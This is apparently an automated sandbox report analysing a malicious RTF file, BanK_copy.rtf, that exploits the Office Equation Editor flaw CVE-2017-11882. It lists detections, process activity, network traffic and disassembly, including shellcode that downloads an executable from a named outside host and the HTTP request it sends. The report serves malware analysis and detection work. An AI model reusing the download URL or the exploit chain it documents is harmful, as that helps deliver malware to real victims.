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Windows Analysis Report
BanK_copy.rtf

Overview

General Information

Sample name:	BanK_copy.rtf
Analysis ID:	1570546
MD5:	67bb3235560b2fc8f612dd0c856768a7
SHA1:	e96990df5d5af63517d1178ffd606c4f0cda18aa
SHA256:	aca1871a164d587b0dc8b05cc15ebdcbfd94b981ff7891615967a1409115544a
Tags:	Paymentrtfuser-cocaman
Infos:

Detection

Score:	96
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for dropped file

Multi AV Scanner detection for submitted file

Sigma detected: EQNEDT32.EXE connecting to internet

Document contains OLE streams with PE executables

Document exploit detected (process start blacklist hit)

Found potential equation exploit (CVE-2017-11882)

Office equation editor establishes network connection

Shellcode detected

Sigma detected: Equation Editor Network Connection

Allocates memory within range which is reserved for system DLLs (kernel32.dll, advapi32.dll, etc)

Contains functionality to call native functions

Creates a window with clipboard capturing capabilities

Document contains Microsoft Equation 3.0 OLE entries

Document misses a certain OLE stream usually present in this Microsoft Office document type

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Office Equation Editor has been started

Potential document exploit detected (performs DNS queries)

Potential document exploit detected (performs HTTP gets)

Potential document exploit detected (unknown TCP traffic)

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Classification

Process Tree

System is w7x64

WINWORD.EXE (PID: 3484 cmdline: "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /Automation -Embedding MD5: 9EE74859D22DAE61F1750B3A1BACB6F5)

EQNEDT32.EXE (PID: 3564 cmdline: "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding MD5: A87236E214F6D42A65F5DEDAC816AEC8)

EQNEDT32.EXE (PID: 3804 cmdline: "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding MD5: A87236E214F6D42A65F5DEDAC816AEC8)

cleanup

Sigma Signatures

Exploits

Sigma detected: EQNEDT32.EXE connecting to internet

Source: Network Connection

Author: Joe Security: Data: DestinationIp: 188.114.96.6, DestinationIsIpv6: false, DestinationPort: 80, EventID: 3, Image: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE, Initiated: true, ProcessId: 3564, Protocol: tcp, SourceIp: 192.168.2.22, SourceIsIpv6: false, SourcePort: 49161

System Summary

Sigma detected: Equation Editor Network Connection

Source: Network Connection

Author: Max Altgelt (Nextron Systems): Data: DestinationIp: 192.168.2.22, DestinationIsIpv6: false, DestinationPort: 49161, EventID: 3, Image: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE, Initiated: true, ProcessId: 3564, Protocol: tcp, SourceIp: 188.114.96.6, SourceIsIpv6: false, SourcePort: 80

Sigma detected: Modification of IE Registry Settings

Source: Registry Key set

Author: frack113: Data: Details: 46 00 00 00 2A 00 00 00 09 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 02 00 00 00 C0 A8 02 16 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 , EventID: 13, EventType: SetValue, Image: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE, ProcessId: 3564, TargetObject: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections\SavedLegacySettings

Sigma detected: Office Macro File Creation

Source: File created

Author: Nasreddine Bencherchali (Nextron Systems): Data: EventID: 11, Image: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE, ProcessId: 3484, TargetFilename: C:\Users\user\AppData\Roaming\Microsoft\Templates\~$Normal.dotm

Suricata Signatures

⊘No Suricata rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: BanK_copy.rtf

Avira: detected

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRF{A1F2D2BC-C867-4B5A-A45B-736D7F49579E}.tmp

Avira: detection malicious, Label: EXP/CVE-2017-11882.Gen

Multi AV Scanner detection for submitted file

Source: BanK_copy.rtf	ReversingLabs: Detection: 78%
Source: BanK_copy.rtf	Virustotal: Detection: 73%			Perma Link

Exploits

Found potential equation exploit (CVE-2017-11882)

Source:

Static RTF information: Object: 0 Offset: 000000FAh

Office equation editor establishes network connection

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

Network connect: IP: 188.114.96.6 Port: 80

Jump to behavior

Source: ~WRF{A1F2D2BC-C867-4B5A-A45B-736D7F49579E}.tmp.0.dr

Stream path '_1795047765/\x1CompObj' : ...................F....Microsoft Equation 3.0....

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process created: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process created: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll

Jump to behavior

Software Vulnerabilities

Document exploit detected (process start blacklist hit)

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

Process created: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

Shellcode detected

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

Code function: 2_2_00633494 URLDownloadToFileA,NtTerminateProcess,

2_2_00633494

Source: global traffic

DNS query: name: 244-3-drvu.4everland.app

Source: global traffic

TCP traffic: 192.168.2.22:49161 -> 188.114.96.6:80

Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 188.114.96.6:80
Source: global traffic	TCP traffic: 188.114.96.6:80 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 188.114.96.6:80
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 188.114.96.6:80
Source: global traffic	TCP traffic: 188.114.96.6:80 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 188.114.96.6:80 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 188.114.96.6:80 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 188.114.96.6:80
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 188.114.96.6:80
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 188.114.96.6:80

Source: Joe Sandbox View

IP Address: 188.114.96.6 188.114.96.6

Source: Joe Sandbox View

ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS

Source: global traffic

HTTP traffic detected: GET /bankcopy.exe HTTP/1.1Accept: */*Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: 244-3-drvu.4everland.appConnection: Keep-Alive

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

Code function: 2_2_00633494 URLDownloadToFileA,NtTerminateProcess,

2_2_00633494

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{DF7E4703-A2BF-4F3E-9CD4-43E942A9A7E8}.tmp

Jump to behavior

Source: global traffic

DNS traffic detected: DNS query: 244-3-drvu.4everland.app

Source: global traffic

HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Sat, 07 Dec 2024 08:36:58 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: keep-aliveX-Frame-Options: SAMEORIGINReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=RaPGDeo8F%2BJu46G1Mlfoysx2k0%2FMBKxYD%2BfV5qaMqte51eYchVIqgsWU2llfcHqNMlaSwc58lOUWnSAGpFD%2BxrVTDryiF0JRgAIV8DAF2vJ2rO6qbRDURUkjESh5U6nxJ4FwG%2Bvj3%2BEsYEY%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Vary: Accept-EncodingServer: cloudflareCF-RAY: 8ee330e8febe4378-EWRContent-Encoding: gzipData Raw: 37 31 63 0d 0a 1f 8b 08 00 00 00 00 00 00 03 a5 58 6b 6f e3 36 16 fd ee 5f 71 47 05 12 1b 08 25 db c9 64 5c 5b 16 90 ce a4 6d 80 29 9a 76 32 d8 2d 8a 41 40 89 57 12 37 14 a9 92 f4 6b b2 f9 ef 0b ea e1 c8 8f 64 5a 2c 12 20 e2 eb dc f7 b9 64 c2 37 1f 7e 7d 7f f7 c7 ed 35 e4 b6 10 51 2f 7c 43 c8 9f 3c 05 61 e1 e6 1a de 7d 89 20 74 0b 90 08 6a cc dc 93 8a fc c7 00 c7 4b 50 82 71 f4 40 50 99 cd 3d 94 e4 f3 27 2f 82 f0 cd 9f 28 19 4f bf 10 f2 0c d5 e0 00 1c 87 7a f7 cf a0 26 af 40 4d fe 01 54 66 1b 34 37 71 cc ca 43 14 42 76 91 72 a4 2c ea 85 96 5b 81 d1 a7 85 29 31 b1 c8 a0 cc b9 c9 b9 cc c0 70 8b f0 5f 78 2f d4 82 a5 82 6a 0c 83 7a 6f 2f 2c d0 52 48 72 aa 0d da b9 f7 f9 ee 47 32 f1 20 68 17 72 6b 4b 82 7f 2d f8 72 ee bd 57 d2 a2 b4 e4 6e 53 a2 07 49 3d 9a 7b 16 d7 36 70 3a cf b6 30 af a1 fc 9b 7c be 22 ef 55 51 52 cb 63 d1 05 ba b9 9e 5f b3 0c 3b e7 24 2d 70 ee 69 15 2b 6b 3a 1b a5 e2 92 e1 fa 0c a4 4a 95 10 6a 75 70 64 c9 71 55 2a 6d 3b 87 56 9c d9 7c ce 70 c9 13 24 d5 e0 8c 4b 6e 39 15 c4 24 54 e0 7c 54 a3 08 2e 1f 40 a3 98 7b c6 6e 04 9a 1c d1 7a c0 d9 dc 4b d2 fb 7a 8a 24 c6 78 90 6b 4c e7 5e 90 30 49 92 8c 07 f5 52 90 a4 3e 6a ad b4 f1 ab 4d c1 7e 1e 7f ff 25 7a 59 c4 e9 b3 08 8e 4e ca e9 37 a5 70 6c 05 ed 66 44 b5 31 8a 15 db 3c 16 54 67 5c 4e 87 b3 92 32 c6 65 36 1d 3e 85 35 50 d4 eb 75 b2 10 9d 7e a3 61 93 87 bd d0 24 9a 97 36 ea 01 f0 14 fa 6f 24 5d f2 8c 5a a5 fd 44 a9 07 8e d7 92 c6 02 d9 00 1e 7b ae 0c 56 5c 32 b5 f2 29 63 d7 4b 94 f6 23 37 16 25 ea fe e9 87 5f 7f 69 32 e7 a3 a2 0c d9 e9 19 a4 0b 99 58 ae 24 f4 db d3 00 4b aa a1 01 16 30 07 a6 92 45 81 d2 fa 19 da 6b 81 ee f3 87 cd 0d eb 9f d6 7b 08 15 a8 ed e9 60 d6 9c 6e 4f fa 95 5d 3e e3 a6 14 74 03 73 38 8d 85 4a 1e 4e eb 7d 4f 83 1e c0 53 2f 0c 5a d3 0e 2a a9 d7 0b 83 a6 98 9c ef 9c f1 21 e3 cb 26 fe 64 a5 69 59 a2 f6 a2 0a ae 5a 69 0a 35 49 Data Ascii: 71cXko6_qG%d\[m)v2-A@W7kdZ, d7~}5Q/|C<a} tjKPq@P='/(Oz&@MTf47qCBvr,[)1p_x/jzo/,RHrG2 hrkK-rWnSI={6p:0|"UQRc_;$-pi+k:JjupdqU*m;V|p$Kn9$T|T.@{nzKz$xkL^0IR>jM~%zYN7plfD1<Tg\N2e6>5Pu~a$6o$]ZD{V\2)cK#7%_i2X$

Source: EQNEDT32.EXE, 00000002.00000002.353684656.000000000018A000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: http://244-3-drvu.4everland.app/Kw
Source: EQNEDT32.EXE, 00000002.00000002.353684656.000000000018A000.00000004.00000010.00020000.00000000.sdmp, EQNEDT32.EXE, 00000002.00000002.353713322.0000000000636000.00000004.00000020.00020000.00000000.sdmp, ~WRF{A1F2D2BC-C867-4B5A-A45B-736D7F49579E}.tmp.0.dr	String found in binary or memory: http://244-3-drvu.4everland.app/bankcopy.exe
Source: EQNEDT32.EXE, 00000002.00000002.353713322.0000000000636000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://244-3-drvu.4everland.app/bankcopy.exeal

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

Window created: window name: CLIPBRDWNDCLASS

Jump to behavior

System Summary

Document contains OLE streams with PE executables

Source: ~WRF{A1F2D2BC-C867-4B5A-A45B-736D7F49579E}.tmp.0.dr

Stream path '_1795047765/Equation Native' : MZ signature found

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Memory allocated: 770B0000 page execute and read and write			Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Memory allocated: 770B0000 page execute and read and write			Jump to behavior

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

Code function: 2_2_00633494 URLDownloadToFileA,NtTerminateProcess,

2_2_00633494

Source: ~WRF{A1F2D2BC-C867-4B5A-A45B-736D7F49579E}.tmp.0.dr

OLE stream indicators for Word, Excel, PowerPoint, and Visio: all false

Source: classification engine

Classification label: mal96.expl.winRTF@3/8@1/1

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

File created: C:\Users\user\Desktop\~$nK_copy.rtf

Jump to behavior

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

File created: C:\Users\user\AppData\Local\Temp\CVR70CB.tmp

Jump to behavior

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	File read: C:\Windows\System32\drivers\etc\hosts			Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	File read: C:\Windows\System32\drivers\etc\hosts			Jump to behavior

Source: BanK_copy.rtf	ReversingLabs: Detection: 78%
Source: BanK_copy.rtf	Virustotal: Detection: 73%

Source: unknown	Process created: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /Automation -Embedding
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process created: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process created: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: wow64win.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: wow64cpu.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: msi.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: rpcrtremote.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: version.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: secur32.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: webio.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: wow64win.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: wow64cpu.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: msi.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: rpcrtremote.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: dwmapi.dll	Jump to behavior

Source: BanK_copy.LNK.0.dr

LNK file: ..\..\..\..\..\Desktop\BanK_copy.rtf

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems

Jump to behavior

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll

Jump to behavior

Source: ~WRF{A1F2D2BC-C867-4B5A-A45B-736D7F49579E}.tmp.0.dr

Initial sample: OLE indicators vbamacros = False

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 2_2_00629A46 push eax; ret	2_2_00629A57
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 2_2_00629447 push esp; ret	2_2_00629453
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 2_2_00627248 push ecx; ret	2_2_0062724B
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 2_2_00629A5E push ebp; ret	2_2_00629A5F
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 2_2_00627436 push ecx; ret	2_2_00627497
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 2_2_006276C2 push ecx; ret	2_2_006276C3
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 2_2_006294C7 push esp; ret	2_2_006294D3
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 2_2_006276CA push ecx; ret	2_2_006276CB
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 2_2_006294A7 push esp; ret	2_2_006294B3
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 2_2_006276BA push ecx; ret	2_2_006276BB
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 2_2_006274BC push ecx; ret	2_2_006276B3
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 2_2_00618F60 push eax; retf	2_2_00618F61
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 2_2_00620F60 push eax; retn 0061h	2_2_00620F61
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 2_2_0062896A push ebp; ret	2_2_0062896B
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 2_2_00628972 push ebp; ret	2_2_00628973
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 2_2_0062897A push ebp; ret	2_2_0062897B
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 2_2_00629550 push esp; ret	2_2_00629553
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 2_2_00628B54 push esp; ret	2_2_00628B57
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 2_2_00628B5E push esp; ret	2_2_00628B5F
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 2_2_0062953A push esp; ret	2_2_00629543
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 2_2_0062950A push esp; ret	2_2_00629513
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 2_2_0062710B push ecx; ret	2_2_00627243
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 2_2_00628B14 push esp; ret	2_2_00628B17
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 2_2_006283C3 push ebx; ret	2_2_006283C7
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 2_2_006283CB push ebx; ret	2_2_006283CF
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 2_2_0062618E push esp; ret	2_2_0062618F

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
